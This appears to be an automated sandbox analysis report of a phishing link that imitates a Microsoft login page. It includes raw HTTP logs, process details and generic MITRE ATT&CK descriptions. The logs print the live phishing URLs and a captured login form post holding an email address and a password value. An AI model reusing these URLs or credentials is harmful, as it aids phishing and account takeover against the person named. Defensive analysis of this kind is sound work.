2025-01-22 06:24:39 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 06:24:39 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:39 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49843	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:51 UTC	3002	OUT	POST /common/login HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Content-Length: 2130 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://login.loraintoolsltd.xyz Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEoBUtVJjvv_YRU1IFfi-unVAJsNZpS6XUf-CVCnAJjBC7QtzlZSYExBMJmlvZoYOvz_oIO1Hg1ZCWLN800K7ghxMATvvyOj9gHlfvDiryxLIgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEbe6a9gh5UMhAfA4YLJF0Mg2oQpBuAsDl6gItPiH_3wMzFbaRvQQCQObinF_CoSqxUB6GZ9_mszBeBk86p2Kf3Us4XuFviUZbJTStK0qTL6mbx9SCJ0PJ_YvJV35e2HhoFkuV6E6sqDxQdkExM8blmHTLsyKRpI6PcVDlkcDyl7wgAA; esctx-N66YeBmIvkE=AQABCQEAAABVrSpeuWamRam2jAF1XRQERKuhjxvl0Atrbs9PGSpQb2xXEGDUFk81yU-TYP1bl8L8UwOutE-c9ZQYfiKFi-vkCfJtXyRQx_r9NmNN0LjkP_gRmFw_n_GQCtVh0hWk1BGaUGpGdlfZU721fwb_JpQKvdAI5c_AeGqrQ4yoeGG5OyAA; fpc=Al80S6UF-GNCm [TRUNCATED]
2025-01-22 06:24:51 UTC	2130	OUT	Data Raw: 69 31 33 3d 30 26 6c 6f 67 69 6e 3d 6a 72 6f 66 65 25 34 30 62 65 6c 6c 70 6f 74 74 65 72 2e 63 6f 6d 2e 61 75 26 6c 6f 67 69 6e 66 6d 74 3d 6a 72 6f 66 65 25 34 30 62 65 6c 6c 70 6f 74 74 65 72 2e 63 6f 6d 2e 61 75 26 74 79 70 65 3d 31 31 26 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 3d 33 26 6c 72 74 3d 26 6c 72 74 50 61 72 74 69 74 69 6f 6e 3d 26 68 69 73 52 65 67 69 6f 6e 3d 26 68 69 73 53 63 61 6c 65 55 6e 69 74 3d 26 70 61 73 73 77 64 3d 41 39 78 25 33 43 58 70 63 65 25 33 46 25 37 42 2a 30 45 25 34 30 6c 46 26 70 73 3d 32 26 70 73 52 4e 47 43 44 65 66 61 75 6c 74 54 79 70 65 3d 26 70 73 52 4e 47 43 45 6e 74 72 6f 70 79 3d 26 70 73 52 4e 47 43 53 4c 4b 3d 26 63 61 6e 61 72 79 3d 6c 25 32 46 43 4e 33 6a 62 52 6d 38 79 56 50 74 73 69 47 4b 52 65 4c 46 25 32 Data Ascii: i13=0&login=jrofe%40bellpotter.com.au&loginfmt=jrofe%40bellpotter.com.au&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=A9x%3CXpce%3F%7B*0E%40lF&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=l%2FCN3jbRm8yVPtsiGKReLF%2
2025-01-22 06:24:53 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:53 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:53 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:53 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:53 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 35 32 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:52 GMT
2025-01-22 06:24:53 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:53 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2025-01-22 06:24:53 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:53 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:53 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49955	2.16.168.115	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:25:09 UTC	434	OUT	OPTIONS /api/report?catId=GW+estsfd+san HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.loraintoolsltd.xyz Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:25:09 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Wed, 22 Jan 2025 06:25:09 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-22 06:25:09 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49961	88.221.110.211	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:25:10 UTC	367	OUT	POST /api/report?catId=GW+estsfd+san HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 450 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:25:10 UTC	450	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 30 30 30 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 46 67 4a 49 6f 52 44 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 33 2e 34 36 2e 38 30 2e 32 31 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e Data Ascii: [{"age":60003,"body":{"elapsed_time":471,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.loraintoolsltd.xyz/FgJIoRDm","sampling_fraction":1.0,"server_ip":"173.46.80.217","status_code":404,"type":"http.error"},"type":"n
2025-01-22 06:25:11 UTC	333	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 Request-Context: appId=cid-v1:20c536d6-d891-4743-bdc8-f66a2e341114 Date: Wed, 22 Jan 2025 06:25:10 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Target ID:	0
Start time:	01:23:52
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:23:55
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2360,i,1436909848134509898,18308899759362046418,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:24:02
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU="
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Windows Analysis Report
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=